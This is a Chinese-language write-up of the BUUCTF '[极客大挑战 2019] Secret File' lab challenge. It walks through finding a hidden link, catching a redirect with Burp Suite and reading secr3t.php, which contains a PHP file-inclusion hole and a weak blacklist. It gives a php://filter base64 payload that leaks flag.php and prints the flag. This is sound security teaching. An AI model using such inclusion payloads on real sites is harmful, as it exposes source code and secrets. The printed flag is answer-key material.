BUUCTF[极客大挑战 2019]Secret File 1题解
[极客大挑战 2019]Secret File 1
- 分析:
- 解题
- 界面1:
- 界面二:
- 界面3:
- 总结:
分析:
事后来看,这道题主打一个走一步看一步。我们只能从题目的标题中猜到,这道题与文件有关。
解题
界面1:
本题使用BurpSuite抓包,开始分析Request包:
在图片中找到了一个不和谐的地方
<a id="master" href="./Archive_room.php" style="backgroundcolor:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">
这里设置了一个超链接,只不过按钮设置的非常小,这里我们直接访问/Archive_room.php
即可。
访问网址:
界面二:
这里有一个快速的重定向,所有必须使用BP抓包,点击SECRET按钮:
界面3:
访问secr3t.php
:
得到源代码
<html><title>secret</title><meta charset="UTF-8">
<?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file);
//flag放在了flag.php里
?>
</html>
分析过滤代码的目的:
- …/ :防止通过相对路径访问文件夹
tp
:过滤http和httpsinput
:过滤php://input
这里我们也可以尝试构造:
?file=php://filter/read=convert.base64-encode/resource=flag.php
如果对于如何构造这个payload,可以访问这个链接:BUUCTF[ACTF2020 新生赛]Include 1题解
将下面的BASE64代码解码
<!DOCTYPE html><html><head><meta charset="utf-8"><title>FLAG</title></head><body style="background-color:black;"><br><br><br><br><br><br><h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br><p style="font-family:arial;color:red;font-size:20px;text-align:center;"><?phpecho "我就在这里";$flag = 'flag{aa66b2f7-db47-4fb5-927c-2f79fe08c2b9}';$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'?></p></body></html>
最后获得flag:flag{aa66b2f7-db47-4fb5-927c-2f79fe08c2b9}
总结:
这道题的主要考点依旧是文件包含问题,只是在前面增添了一些步骤,难度整体不大。